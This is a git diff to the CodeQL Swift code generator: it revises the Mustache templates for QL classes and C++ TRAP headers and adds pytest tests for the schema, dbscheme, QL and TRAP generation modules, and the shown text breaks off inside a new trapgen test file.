--- a/swift/codegen/templates/ql_class.mustache
+++ b/swift/codegen/templates/ql_class.mustache
@@ -1,4 +1,5 @@
 // generated by {{generator}}
+
 {{#imports}}
 import {{.}}
 {{/imports}}
@@ -7,6 +8,10 @@ class {{name}}Base extends {{db_id}}{{#bases}}, {{.}}{{/bases}} {
   {{#root}}
   string toString() { none() } // overridden by subclasses
 
+  string getAPrimaryQlClass() { none() } // overridden by subclasses
+
+  final string getPrimaryQlClasses() { result = concat(this.getAPrimaryQlClass(), ",") }
+
   {{name}}Base getResolveStep() { none() } // overridden by subclasses
 
   {{name}}Base resolve() {
@@ -16,32 +21,38 @@ class {{name}}Base extends {{db_id}}{{#bases}}, {{.}}{{/bases}} {
   }
   {{/root}}
   {{#final}}
-  override string toString() { result = "{{name}}" }
+  override string getAPrimaryQlClass() { result = "{{name}}" }
   {{/final}}
   {{#properties}}
 
-  {{#type_is_class}}
-  {{type}} get{{singular}}({{#params}}{{^first}}, {{/first}}{{type}} {{param}}{{/params}}) {
+  {{type}} {{getter}}({{#is_repeated}}int index{{/is_repeated}}) {
+    {{#type_is_class}}
     exists({{type}} {{local_var}} |
       {{tablename}}({{#tableparams}}{{^first}}, {{/first}}{{param}}{{/tableparams}})
       and
       result = {{local_var}}.resolve())
-  }
-  {{/type_is_class}}
-  {{^type_is_class}}
-  {{type}} get{{singular}}({{#params}}{{^first}}, {{/first}}{{type}} {{param}}{{/params}}) {
+    {{/type_is_class}}
+    {{^type_is_class}}
     {{tablename}}({{#tableparams}}{{^first}}, {{/first}}{{param}}{{/tableparams}})
+    {{/type_is_class}}
   }
-  {{/type_is_class}}
-  {{#indefinite_article}}
+  {{#is_optional}}
 
-  {{type}} get{{.}}{{singular}}() {
-    result = get{{singular}}({{#params}}{{^first}}, {{/first}}_{{/params}})
+  predicate has{{singular}}({{#is_repeated}}int index{{/is_repeated}}) {
+    exists({{getter}}({{#is_repeated}}index{{/is_repeated}}))
   }
+  {{/is_optional}}
+  {{#is_repeated}}
+
+  {{type}} {{indefinite_getter}}() {
+    result = {{getter}}(_)
+  }
+  {{^is_optional}}
 
   int getNumberOf{{plural}}() {
-    result = count(get{{.}}{{singular}}())
+    result = count({{indefinite_getter}}())
   }
-  {{/indefinite_article}}
+  {{/is_optional}}
+  {{/is_repeated}}
   {{/properties}}
 }
diff --git a/swift/codegen/templates/ql_stub.mustache b/swift/codegen/templates/ql_stub.mustache
index adc16b362c9..198e0f4dd51 100644
--- a/swift/codegen/templates/ql_stub.mustache
+++ b/swift/codegen/templates/ql_stub.mustache
@@ -1,4 +1,5 @@
 // generated by {{generator}}, remove this comment if you wish to edit this file
+
 private import {{base_import}}
 
-class {{name}} extends {{name}}Base { }
+class {{name}} extends {{name}}Base {}
diff --git a/swift/codegen/templates/cpp_tags.mustache b/swift/codegen/templates/trap_tags.mustache
similarity index 76%
rename from swift/codegen/templates/cpp_tags.mustache
rename to swift/codegen/templates/trap_tags.mustache
index 6098bf81808..48bae6bb153 100644
--- a/swift/codegen/templates/cpp_tags.mustache
+++ b/swift/codegen/templates/trap_tags.mustache
@@ -1,8 +1,8 @@
-// generated by {{generator}}
+// generated by {{generator}} from {{source}}
 // clang-format off
 #pragma once
 
-namespace codeql {
+namespace {{namespace}} {
 {{#tags}}
 
 // {{id}}
diff --git a/swift/codegen/templates/trap_traps.mustache b/swift/codegen/templates/trap_traps.mustache
new file mode 100644
index 00000000000..e5a576f0a33
--- /dev/null
+++ b/swift/codegen/templates/trap_traps.mustache
@@ -0,0 +1,42 @@
+// generated by {{generator}} from {{source}}
+// clang-format off
+#pragma once
+
+#include <iostream>
+#include <string>
+
+#include "{{include_dir}}/{{trap_affix}}Label.h"
+#include "{{include_dir}}/{{trap_affix}}TagTraits.h"
+#include "./{{trap_affix}}Tags.h"
+
+namespace {{namespace}} {
+{{#traps}}
+
+// {{table_name}}
+struct {{name}}{{trap_affix}} {
+  static constexpr bool is_binding = {{#id}}true{{/id}}{{^id}}false{{/id}};
+{{#id}}
+  {{type}} getBoundLabel() const { return {{field_name}}; }
+{{/id}}
+
+{{#fields}}
+  {{type}} {{field_name}}{};
+{{/fields}}
+};
+
+inline std::ostream &operator<<(std::ostream &out, const {{name}}{{trap_affix}} &e) {
+  out << "{{table_name}}("{{#fields}}{{^first}} << ", "{{/first}}
+      << {{#get_streamer}}e.{{field_name}}{{/get_streamer}}{{/fields}} << ")";
+  return out;
+}
+{{#id}}
+
+namespace detail {
+template<>
+struct ToBindingTrapFunctor<{{type}}> {
+  using type = {{name}}{{trap_affix}};
+};
+}
+{{/id}}
+{{/traps}}
+}
diff --git a/swift/codegen/test/BUILD.bazel b/swift/codegen/test/BUILD.bazel
index 441b2370ca0..76266b2a665 100644
--- a/swift/codegen/test/BUILD.bazel
+++ b/swift/codegen/test/BUILD.bazel
@@ -18,6 +18,7 @@ py_library(
         deps = [
             ":utils",
             "//swift/codegen",
+            "//swift/codegen:trapgen",
         ],
     )
     for src in glob(["test_*.py"])
diff --git a/swift/codegen/test/test_cpp.py b/swift/codegen/test/test_cpp.py
new file mode 100644
index 00000000000..e6cd4f81305
--- /dev/null
+++ b/swift/codegen/test/test_cpp.py
@@ -0,0 +1,117 @@
+import sys
+from copy import deepcopy
+
+import pytest
+
+from swift.codegen.lib import cpp
+
+
+@pytest.mark.parametrize("keyword", cpp.cpp_keywords)
+def test_field_keyword_name(keyword):
+    f = cpp.Field(keyword, "int")
+    assert f.field_name == keyword + "_"
+
+
+def test_field_name():
+    f = cpp.Field("foo", "int")
+    assert f.field_name == "foo"
+
+
+@pytest.mark.parametrize("type,expected", [
+    ("std::string", "trapQuoted(value)"),
+    ("bool", '(value ? "true" : "false")'),
+    ("something_else", "value"),
+])
+def test_field_get_streamer(type, expected):
+    f = cpp.Field("name", type)
+    assert f.get_streamer()("value") == expected
+
+
+@pytest.mark.parametrize("is_optional,is_repeated,is_predicate,expected", [
+    (False, False, False, True),
+    (True, False, False, False),
+    (False, True, False, False),
+    (True, True, False, False),
+    (False, False, True, False),
+])
+def test_field_is_single(is_optional, is_repeated, is_predicate, expected):
+    f = cpp.Field("name", "type", is_optional=is_optional, is_repeated=is_repeated, is_predicate=is_predicate)
+    assert f.is_single is expected
+
+
+@pytest.mark.parametrize("is_optional,is_repeated,expected", [
+    (False, False, "bar"),
+    (True, False, "std::optional<bar>"),
+    (False, True, "std::vector<bar>"),
+    (True, True, "std::vector<std::optional<bar>>"),
+])
+def test_field_modal_types(is_optional, is_repeated, expected):
+    f = cpp.Field("name", "bar", is_optional=is_optional, is_repeated=is_repeated)
+    assert f.type == expected
+
+
+def test_trap_has_first_field_marked():
+    fields = [
+        cpp.Field("a", "x"),
+        cpp.Field("b", "y"),
+        cpp.Field("c", "z"),
+    ]
+    expected = deepcopy(fields)
+    expected[0].first = True
+    t = cpp.Trap("table_name", "name", fields)
+    assert t.fields == expected
+
+
+def test_tag_has_first_base_marked():
+    bases = ["a", "b", "c"]
+    expected = [cpp.TagBase("a", first=True), cpp.TagBase("b"), cpp.TagBase("c")]
+    t = cpp.Tag("name", bases, 0, "id")
+    assert t.bases == expected
+
+
+@pytest.mark.parametrize("bases,expected", [
+    ([], False),
+    (["a"], True),
+    (["a", "b"], True)
+])
+def test_tag_has_bases(bases, expected):
+    t = cpp.Tag("name", bases, 0, "id")
+    assert t.has_bases is expected
+
+
+def test_class_has_first_base_marked():
+    bases = [
+        cpp.Class("a"),
+        cpp.Class("b"),
+        cpp.Class("c"),
+    ]
+    expected = [cpp.ClassBase(c) for c in bases]
+    expected[0].first = True
+    c = cpp.Class("foo", bases=bases)
+    assert c.bases == expected
+
+
+@pytest.mark.parametrize("bases,expected", [
+    ([], False),
+    (["a"], True),
+    (["a", "b"], True)
+])
+def test_class_has_bases(bases, expected):
+    t = cpp.Class("name", [cpp.Class(b) for b in bases])
+    assert t.has_bases is expected
+
+
+def test_class_single_fields():
+    fields = [
+        cpp.Field("a", "A"),
+        cpp.Field("b", "B", is_optional=True),
+        cpp.Field("c", "C"),
+        cpp.Field("d", "D", is_repeated=True),
+        cpp.Field("e", "E"),
+    ]
+    c = cpp.Class("foo", fields=fields)
+    assert c.single_fields == fields[::2]
+
+
+if __name__ == '__main__':
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_cppgen.py b/swift/codegen/test/test_cppgen.py
new file mode 100644
index 00000000000..b4e766af9dc
--- /dev/null
+++ b/swift/codegen/test/test_cppgen.py
@@ -0,0 +1,146 @@
+import sys
+
+from swift.codegen import cppgen
+from swift.codegen.lib import cpp
+from swift.codegen.test.utils import *
+
+output_dir = pathlib.Path("path", "to", "output")
+
+
+@pytest.fixture
+def generate(opts, renderer, input):
+    opts.cpp_output = output_dir
+    opts.cpp_namespace = "test_namespace"
+    opts.trap_affix = "TestTrapAffix"
+    opts.cpp_include_dir = "my/include/dir"
+
+    def ret(classes):
+        input.classes = classes
+        generated = run_generation(cppgen.generate, opts, renderer)
+        assert set(generated) == {output_dir / "TestTrapAffixClasses.h"}
+        generated = generated[output_dir / "TestTrapAffixClasses.h"]
+        assert isinstance(generated, cpp.ClassList)
+        assert generated.namespace == opts.cpp_namespace
+        assert generated.trap_affix == opts.trap_affix
+        assert generated.include_dir == opts.cpp_include_dir
+        return generated.classes
+
+    return ret
+
+
+def test_empty(generate):
+    assert generate([]) == []
+
+
+def test_empty_class(generate):
+    assert generate([
+        schema.Class(name="MyClass"),
+    ]) == [
+               cpp.Class(name="MyClass", final=True, trap_name="MyClasses")
+           ]
+
+
+def test_two_class_hierarchy(generate):
+    base = cpp.Class(name="A")
+    assert generate([
+        schema.Class(name="A", derived={"B"}),
+        schema.Class(name="B", bases={"A"}),
+    ]) == [
+               base,
+               cpp.Class(name="B", bases=[base], final=True, trap_name="Bs"),
+           ]
+
+
+def test_complex_hierarchy_topologically_ordered(generate):
+    a = cpp.Class(name="A")
+    b = cpp.Class(name="B")
+    c = cpp.Class(name="C", bases=[a])
+    d = cpp.Class(name="D", bases=[a])
+    e = cpp.Class(name="E", bases=[b, c, d], final=True, trap_name="Es")
+    f = cpp.Class(name="F", bases=[c], final=True, trap_name="Fs")
+    assert generate([
+        schema.Class(name="F", bases={"C"}),
+        schema.Class(name="B", derived={"E"}),
+        schema.Class(name="D", bases={"A"}, derived={"E"}),
+        schema.Class(name="C", bases={"A"}, derived={"E", "F"}),
+        schema.Class(name="E", bases={"B", "C", "D"}),
+        schema.Class(name="A", derived={"C", "D"}),
+    ]) == [a, b, c, d, e, f]
+
+
+@pytest.mark.parametrize("type,expected", [
+    ("a", "a"),
+    ("string", "std::string"),
+    ("boolean", "bool"),
+    ("MyClass", "TestTrapAffixLabel<MyClassTag>"),
+])
+@pytest.mark.parametrize("property_cls,optional,repeated,trap_name", [
+    (schema.SingleProperty, False, False, None),
+    (schema.OptionalProperty, True, False, "MyClassProps"),
+    (schema.RepeatedProperty, False, True, "MyClassProps"),
+    (schema.RepeatedOptionalProperty, True, True, "MyClassProps"),
+])
+def test_class_with_field(generate, type, expected, property_cls, optional, repeated, trap_name):
+    assert generate([
+        schema.Class(name="MyClass", properties=[property_cls("prop", type)]),
+    ]) == [
+               cpp.Class(name="MyClass",
+                         fields=[cpp.Field("prop", expected, is_optional=optional,
+                                           is_repeated=repeated, trap_name=trap_name)],
+                         trap_name="MyClasses",
+                         final=True)
+           ]
+
+
+def test_class_with_predicate(generate):
+    assert generate([
+        schema.Class(name="MyClass", properties=[schema.PredicateProperty("prop")]),
+    ]) == [
+               cpp.Class(name="MyClass",
+                         fields=[cpp.Field("prop", "bool", trap_name="MyClassProp", is_predicate=True)],
+                         trap_name="MyClasses",
+                         final=True)
+           ]
+
+
+@pytest.mark.parametrize("name",
+                         ["start_line", "start_column", "end_line", "end_column", "index", "num_whatever", "width"])
+def test_class_with_overridden_unsigned_field(generate, name):
+    assert generate([
+        schema.Class(name="MyClass", properties=[
+            schema.SingleProperty(name, "bar")]),
+    ]) == [
+               cpp.Class(name="MyClass",
+                         fields=[cpp.Field(name, "unsigned")],
+                         trap_name="MyClasses",
+                         final=True)
+           ]
+
+
+def test_class_with_overridden_underscore_field(generate):
+    assert generate([
+        schema.Class(name="MyClass", properties=[
+            schema.SingleProperty("something_", "bar")]),
+    ]) == [
+               cpp.Class(name="MyClass",
+                         fields=[cpp.Field("something", "bar")],
+                         trap_name="MyClasses",
+                         final=True)
+           ]
+
+
+@pytest.mark.parametrize("name", cpp.cpp_keywords)
+def test_class_with_keyword_field(generate, name):
+    assert generate([
+        schema.Class(name="MyClass", properties=[
+            schema.SingleProperty(name, "bar")]),
+    ]) == [
+               cpp.Class(name="MyClass",
+                         fields=[cpp.Field(name + "_", "bar")],
+                         trap_name="MyClasses",
+                         final=True)
+           ]
+
+
+if __name__ == '__main__':
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_dbscheme.py b/swift/codegen/test/test_dbscheme.py
index ca1002aa58e..9eaca07bd51 100644
--- a/swift/codegen/test/test_dbscheme.py
+++ b/swift/codegen/test/test_dbscheme.py
@@ -48,5 +48,107 @@ def test_union_has_first_case_marked():
     assert [c.type for c in u.rhs] == rhs
 
 
+# load tests
+@pytest.fixture
+def load(tmp_path):
+    file = tmp_path / "test.dbscheme"
+
+    def ret(yml):
+        write(file, yml)
+        return list(dbscheme.iterload(file))
+
+    return ret
+
+
+def test_load_empty(load):
+    assert load("") == []
+
+
+def test_load_one_empty_table(load):
+    assert load("""
+test_foos();
+""") == [
+        dbscheme.Table(name="test_foos", columns=[])
+    ]
+
+
+def test_load_table_with_keyset(load):
+    assert load("""
+#keyset[x,  y,z]
+test_foos();
+""") == [
+        dbscheme.Table(name="test_foos", columns=[], keyset=dbscheme.KeySet(["x", "y", "z"]))
+    ]
+
+
+expected_columns = [
+    ("int foo: int ref", dbscheme.Column(schema_name="foo", type="int", binding=False)),
+    ("  int     bar :   int   ref", dbscheme.Column(schema_name="bar", type="int", binding=False)),
+    ("str baz_: str ref", dbscheme.Column(schema_name="baz", type="str", binding=False)),
+    ("int x: @foo ref", dbscheme.Column(schema_name="x", type="@foo", binding=False)),
+    ("int y: @foo", dbscheme.Column(schema_name="y", type="@foo", binding=True)),
+    ("unique int z: @foo", dbscheme.Column(schema_name="z", type="@foo", binding=True)),
+]
+
+
+@pytest.mark.parametrize("column,expected", expected_columns)
+def test_load_table_with_column(load, column, expected):
+    assert load(f"""
+foos(
+  {column}
+);
+""") == [
+        dbscheme.Table(name="foos", columns=[deepcopy(expected)])
+    ]
+
+
+def test_load_table_with_multiple_columns(load):
+    columns = ",\n".join(c for c, _ in expected_columns)
+    expected = [deepcopy(e) for _, e in expected_columns]
+    assert load(f"""
+foos(
+{columns}
+);
+""") == [
+        dbscheme.Table(name="foos", columns=expected)
+    ]
+
+
+def test_load_multiple_table_with_columns(load):
+    tables = [f"table{i}({col});" for i, (col, _) in enumerate(expected_columns)]
+    expected = [dbscheme.Table(name=f"table{i}", columns=[deepcopy(e)]) for i, (_, e) in enumerate(expected_columns)]
+    assert load("\n".join(tables)) == expected
+
+
+def test_union(load):
+    assert load("@foo = @bar | @baz | @bla;") == [
+        dbscheme.Union(lhs="@foo", rhs=["@bar", "@baz", "@bla"]),
+    ]
+
+
+def test_table_and_union(load):
+    assert load("""
+foos();
+    
+@foo = @bar | @baz | @bla;""") == [
+        dbscheme.Table(name="foos", columns=[]),
+        dbscheme.Union(lhs="@foo", rhs=["@bar", "@baz", "@bla"]),
+    ]
+
+
+def test_comments_ignored(load):
+    assert load("""
+// fake_table();
+foos(/* x */unique /*y*/int/*
+z
+*/ id/* */: /* * */ @bar/*,
+int ignored: int ref*/);
+    
+@foo = @bar | @baz | @bla; // | @xxx""") == [
+        dbscheme.Table(name="foos", columns=[dbscheme.Column(schema_name="id", type="@bar", binding=True)]),
+        dbscheme.Union(lhs="@foo", rhs=["@bar", "@baz", "@bla"]),
+    ]
+
+
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_dbschemegen.py b/swift/codegen/test/test_dbschemegen.py
index d8f0089d863..54f1e1796f7 100644
--- a/swift/codegen/test/test_dbschemegen.py
+++ b/swift/codegen/test/test_dbschemegen.py
@@ -126,10 +126,11 @@ def test_final_class_with_optional_field(opts, input, renderer):
     )
 
 
-def test_final_class_with_repeated_field(opts, input, renderer):
+@pytest.mark.parametrize("property_cls", [schema.RepeatedProperty, schema.RepeatedOptionalProperty])
+def test_final_class_with_repeated_field(opts, input, renderer, property_cls):
     input.classes = [
         schema.Class("Object", properties=[
-            schema.RepeatedProperty("foo", "bar"),
+            property_cls("foo", "bar"),
         ]),
     ]
     assert generate(opts, renderer) == dbscheme.Scheme(
@@ -155,13 +156,42 @@ def test_final_class_with_repeated_field(opts, input, renderer):
     )
 
 
+def test_final_class_with_predicate_field(opts, input, renderer):
+    input.classes = [
+        schema.Class("Object", properties=[
+            schema.PredicateProperty("foo"),
+        ]),
+    ]
+    assert generate(opts, renderer) == dbscheme.Scheme(
+        src=schema_file,
+        includes=[],
+        declarations=[
+            dbscheme.Table(
+                name="objects",
+                columns=[
+                    dbscheme.Column('id', '@object', binding=True),
+                ]
+            ),
+            dbscheme.Table(
+                name="object_foo",
+                keyset=dbscheme.KeySet(["id"]),
+                columns=[
+                    dbscheme.Column('id', '@object'),
+                ]
+            ),
+        ],
+    )
+
+
 def test_final_class_with_more_fields(opts, input, renderer):
     input.classes = [
         schema.Class("Object", properties=[
             schema.SingleProperty("one", "x"),
             schema.SingleProperty("two", "y"),
             schema.OptionalProperty("three", "z"),
-            schema.RepeatedProperty("four", "w"),
+            schema.RepeatedProperty("four", "u"),
+            schema.RepeatedOptionalProperty("five", "v"),
+            schema.PredicateProperty("six"),
         ]),
     ]
     assert generate(opts, renderer) == dbscheme.Scheme(
@@ -190,7 +220,23 @@ def test_final_class_with_more_fields(opts, input, renderer):
                 columns=[
                     dbscheme.Column('id', '@object'),
                     dbscheme.Column('index', 'int'),
-                    dbscheme.Column('four', 'w'),
+                    dbscheme.Column('four', 'u'),
+                ]
+            ),
+            dbscheme.Table(
+                name="object_fives",
+                keyset=dbscheme.KeySet(["id", "index"]),
+                columns=[
+                    dbscheme.Column('id', '@object'),
+                    dbscheme.Column('index', 'int'),
+                    dbscheme.Column('five', 'v'),
+                ]
+            ),
+            dbscheme.Table(
+                name="object_six",
+                keyset=dbscheme.KeySet(["id"]),
+                columns=[
+                    dbscheme.Column('id', '@object'),
                 ]
             ),
         ],
@@ -304,4 +350,4 @@ def test_class_with_derived_and_repeated_property(opts, input, renderer):
 
 
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_ql.py b/swift/codegen/test/test_ql.py
index 8127a03073e..caa513c1b15 100644
--- a/swift/codegen/test/test_ql.py
+++ b/swift/codegen/test/test_ql.py
@@ -5,63 +5,64 @@ from swift.codegen.lib import ql
 from swift.codegen.test.utils import *
 
 
-def test_property_has_first_param_marked():
-    params = [ql.Param("a", "x"), ql.Param("b", "y"), ql.Param("c", "z")]
-    expected = deepcopy(params)
-    expected[0].first = True
-    prop = ql.Property("Prop", "foo", "props", ["this"], params=params)
-    assert prop.params == expected
-
-
 def test_property_has_first_table_param_marked():
     tableparams = ["a", "b", "c"]
     prop = ql.Property("Prop", "foo", "props", tableparams)
     assert prop.tableparams[0].first
     assert [p.param for p in prop.tableparams] == tableparams
-    assert all(p.type is None for p in prop.tableparams)
 
 
-@pytest.mark.parametrize("params,expected_local_var", [
-    (["a", "b", "c"], "x"),
-    (["a", "x", "c"], "x_"),
-    (["a", "x", "x_", "c"], "x__"),
-    (["a", "x", "x_", "x__"], "x___"),
+@pytest.mark.parametrize("type,expected", [
+    ("Foo", True),
+    ("Bar", True),
+    ("foo", False),
+    ("bar", False),
+    (None, False),
 ])
-def test_property_local_var_avoids_params_collision(params, expected_local_var):
-    prop = ql.Property("Prop", "foo", "props", ["this"], params=[ql.Param(p) for p in params])
-    assert prop.local_var == expected_local_var
+def test_property_is_a_class(type, expected):
+    tableparams = ["a", "result", "b"]
+    expected_tableparams = ["a", "x" if expected else "result", "b"]
+    prop = ql.Property("Prop", type, tableparams=tableparams)
+    assert prop.type_is_class is expected
+    assert [p.param for p in prop.tableparams] == expected_tableparams
 
 
-def test_property_not_a_class():
-    tableparams = ["x", "result", "y"]
-    prop = ql.Property("Prop", "foo", "props", tableparams)
-    assert not prop.type_is_class
-    assert [p.param for p in prop.tableparams] == tableparams
-
-
-def test_property_is_a_class():
-    tableparams = ["x", "result", "y"]
-    prop = ql.Property("Prop", "Foo", "props", tableparams)
-    assert prop.type_is_class
-    assert [p.param for p in prop.tableparams] == ["x", prop.local_var, "y"]
-
-
-@pytest.mark.parametrize("name,expected_article", [
-    ("Argument", "An"),
-    ("Element", "An"),
-    ("Integer", "An"),
-    ("Operator", "An"),
-    ("Unit", "A"),
-    ("Whatever", "A"),
+@pytest.mark.parametrize("name,expected_getter", [
+    ("Argument", "getAnArgument"),
+    ("Element", "getAnElement"),
+    ("Integer", "getAnInteger"),
+    ("Operator", "getAnOperator"),
+    ("Unit", "getAUnit"),
+    ("Whatever", "getAWhatever"),
 ])
-def test_property_indefinite_article(name, expected_article):
-    prop = ql.Property(name, "Foo", "props", ["x"], plural="X")
-    assert prop.indefinite_article == expected_article
+def test_property_indefinite_article(name, expected_getter):
+    prop = ql.Property(name, plural="X")
+    assert prop.indefinite_getter == expected_getter
 
 
-def test_property_no_plural_no_indefinite_article():
+@pytest.mark.parametrize("plural,expected", [
+    (None, False),
+    ("", False),
+    ("X", True),
+])
+def test_property_is_plural(plural, expected):
+    prop = ql.Property("foo", "Foo", "props", ["x"], plural=plural)
+    assert prop.is_repeated is expected
+
+
+def test_property_no_plural_no_indefinite_getter():
     prop = ql.Property("Prop", "Foo", "props", ["x"])
-    assert prop.indefinite_article is None
+    assert prop.indefinite_getter is None
+
+
+def test_property_getter():
+    prop = ql.Property("Prop", "Foo")
+    assert prop.getter == "getProp"
+
+
+def test_property_predicate_getter():
+    prop = ql.Property("prop", is_predicate=True)
+    assert prop.getter == "prop"
 
 
 def test_class_sorts_bases():
@@ -97,4 +98,4 @@ def test_non_root_class():
 
 
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_qlgen.py b/swift/codegen/test/test_qlgen.py
index 94cd6641afc..e5405406747 100644
--- a/swift/codegen/test/test_qlgen.py
+++ b/swift/codegen/test/test_qlgen.py
@@ -2,7 +2,7 @@ import subprocess
 import sys
 
 from swift.codegen import qlgen
-from swift.codegen.lib import ql, paths
+from swift.codegen.lib import ql
 from swift.codegen.test.utils import *
 
 
@@ -18,12 +18,12 @@ ql_output_path = lambda: paths.swift_dir / "ql/lib/other/path"
 import_file = lambda: stub_path().with_suffix(".qll")
 stub_import_prefix = "stub.path."
 gen_import_prefix = "other.path."
-index_param = ql.Param("index", "int")
 
 
 def generate(opts, renderer, written=None):
     opts.ql_stub_output = stub_path()
     opts.ql_output = ql_output_path()
+    opts.ql_format = True
     renderer.written = written or []
     return run_generation(qlgen.generate, opts, renderer)
 
@@ -107,7 +107,8 @@ def test_optional_property(opts, input, renderer):
         import_file(): ql.ImportList([stub_import_prefix + "MyObject"]),
         stub_path() / "MyObject.qll": ql.Stub(name="MyObject", base_import=gen_import_prefix + "MyObject"),
         ql_output_path() / "MyObject.qll": ql.Class(name="MyObject", final=True, properties=[
-            ql.Property(singular="Foo", type="bar", tablename="my_object_foos", tableparams=["this", "result"]),
+            ql.Property(singular="Foo", type="bar", tablename="my_object_foos", tableparams=["this", "result"],
+                        is_optional=True),
         ])
     }
 
@@ -120,12 +121,40 @@ def test_repeated_property(opts, input, renderer):
         import_file(): ql.ImportList([stub_import_prefix + "MyObject"]),
         stub_path() / "MyObject.qll": ql.Stub(name="MyObject", base_import=gen_import_prefix + "MyObject"),
         ql_output_path() / "MyObject.qll": ql.Class(name="MyObject", final=True, properties=[
-            ql.Property(singular="Foo", plural="Foos", type="bar", tablename="my_object_foos", params=[index_param],
+            ql.Property(singular="Foo", plural="Foos", type="bar", tablename="my_object_foos",
                         tableparams=["this", "index", "result"]),
         ])
     }
 
 
+def test_repeated_optional_property(opts, input, renderer):
+    input.classes = [
+        schema.Class("MyObject", properties=[schema.RepeatedOptionalProperty("foo", "bar")]),
+    ]
+    assert generate(opts, renderer) == {
+        import_file(): ql.ImportList([stub_import_prefix + "MyObject"]),
+        stub_path() / "MyObject.qll": ql.Stub(name="MyObject", base_import=gen_import_prefix + "MyObject"),
+        ql_output_path() / "MyObject.qll": ql.Class(name="MyObject", final=True, properties=[
+            ql.Property(singular="Foo", plural="Foos", type="bar", tablename="my_object_foos",
+                        tableparams=["this", "index", "result"], is_optional=True),
+        ])
+    }
+
+
+def test_predicate_property(opts, input, renderer):
+    input.classes = [
+        schema.Class("MyObject", properties=[schema.PredicateProperty("is_foo")]),
+    ]
+    assert generate(opts, renderer) == {
+        import_file(): ql.ImportList([stub_import_prefix + "MyObject"]),
+        stub_path() / "MyObject.qll": ql.Stub(name="MyObject", base_import=gen_import_prefix + "MyObject"),
+        ql_output_path() / "MyObject.qll": ql.Class(name="MyObject", final=True, properties=[
+            ql.Property(singular="isFoo", type="predicate", tablename="my_object_is_foo", tableparams=["this"],
+                        is_predicate=True),
+        ])
+    }
+
+
 def test_single_class_property(opts, input, renderer):
     input.classes = [
         schema.Class("MyObject", properties=[schema.SingleProperty("foo", "Bar")]),
@@ -195,4 +224,4 @@ def test_empty_cleanup(opts, input, renderer, tmp_path):
 
 
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_render.py b/swift/codegen/test/test_render.py
index c900cfa99e6..adb823a2bab 100644
--- a/swift/codegen/test/test_render.py
+++ b/swift/codegen/test/test_render.py
@@ -7,6 +7,9 @@ from swift.codegen.lib import paths
 from swift.codegen.lib import render
 
 
+generator = "test/foogen"
+
+
 @pytest.fixture
 def pystache_renderer_cls():
     with mock.patch("pystache.Renderer") as ret:
@@ -22,7 +25,7 @@ def pystache_renderer(pystache_renderer_cls):
 
 @pytest.fixture
 def sut(pystache_renderer):
-    return render.Renderer()
+    return render.Renderer(generator)
 
 
 def test_constructor(pystache_renderer_cls, sut):
@@ -40,7 +43,7 @@ def test_render(pystache_renderer, sut):
     with mock.patch("builtins.open", mock.mock_open()) as output_stream:
         sut.render(data, output)
     assert pystache_renderer.mock_calls == [
-        mock.call.render_name(data.template, data, generator=paths.exe_file),
+        mock.call.render_name(data.template, data, generator=generator),
     ]
     assert output_stream.mock_calls == [
         mock.call(output, 'w'),
@@ -76,4 +79,4 @@ def test_cleanup(sut):
 
 
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_schema.py b/swift/codegen/test/test_schema.py
index 9b52bcbbaa1..cbeb9c6989a 100644
--- a/swift/codegen/test/test_schema.py
+++ b/swift/codegen/test/test_schema.py
@@ -140,6 +140,8 @@ A:
      one: string
      two: int?
      three: bool*
+     four: x?*
+     five: predicate
 """)
     assert ret.classes == [
         schema.Class(root_name, derived={'A'}),
@@ -147,9 +149,23 @@ A:
             schema.SingleProperty('one', 'string'),
             schema.OptionalProperty('two', 'int'),
             schema.RepeatedProperty('three', 'bool'),
+            schema.RepeatedOptionalProperty('four', 'x'),
+            schema.PredicateProperty('five'),
         ]),
     ]
 
 
+def test_element_properties(load):
+    ret = load("""
+Element:
+    x: string
+""")
+    assert ret.classes == [
+        schema.Class(root_name, properties=[
+            schema.SingleProperty('x', 'string'),
+         ]),
+    ]
+
+
 if __name__ == '__main__':
-    sys.exit(pytest.main())
+    sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/swift/codegen/test/test_trapgen.py b/swift/codegen/test/test_trapgen.py
new file mode 100644
index 00000000000..2aad0da1203
--- /dev/null
+++ b/swift/codegen/test/test_trapgen.py
@@ -0,0 +1,168 @@
+import sys
+
+from swift.codegen import trapgen
+from swift.codegen.lib import cpp, dbscheme
+from swift.codegen.test.utils import *
+
+output_dir = pathlib.Path("path", "to", "output")
+
+
+@pytest.fixture
+def generate(opts, renderer, dbscheme_input):
+    opts.cpp_output = output_dir
+    opts.cpp_namespace = "test_namespace"
+    opts.trap_affix = "TrapAffix"
+    opts.cpp_include_dir = "my/include/dir"
+
+    def ret(entities):
+        dbscheme_input.entities = entities
+        generated = run_generation(trapgen.generate, opts, renderer)
+        assert set(generated) == {output_dir /
+                                  "TrapAffixEntries.h", output_dir / "TrapAffixTags.h"}
+        return generated[output_dir / "TrapAffixEntries.h"], generated[output_dir / "TrapAffixTags.h"]
+
+    return ret
+
+
+@pytest.fixture
+def generate_traps(opts, generate):
+    def ret(entities):
+        traps, _ = generate(entities)
+        assert isinstance(traps, cpp.TrapList)
+        assert traps.namespace == opts.cpp_namespace
+        assert traps.trap_affix == opts.trap_affix
+        assert traps.include_dir == opts.cpp_include_dir
+        return traps.traps
+
+    return ret
+
+
+@pytest.fixture
+def generate_tags(opts, generate):
+    def ret(entities):
+        _, tags = generate(entities)
+        assert isinstance(tags, cpp.TagList)
+        assert tags.namespace == opts.cpp_namespace
+        return tags.tags
+
+    return ret
+
+
+def test_empty_traps(generate_traps):
+    assert generate_traps([]) == []
+
+
+def test_empty_tags(generate_tags):
+    assert generate_tags([]) == []
+
+
+def test_one_empty_table_rejected(generate_traps):
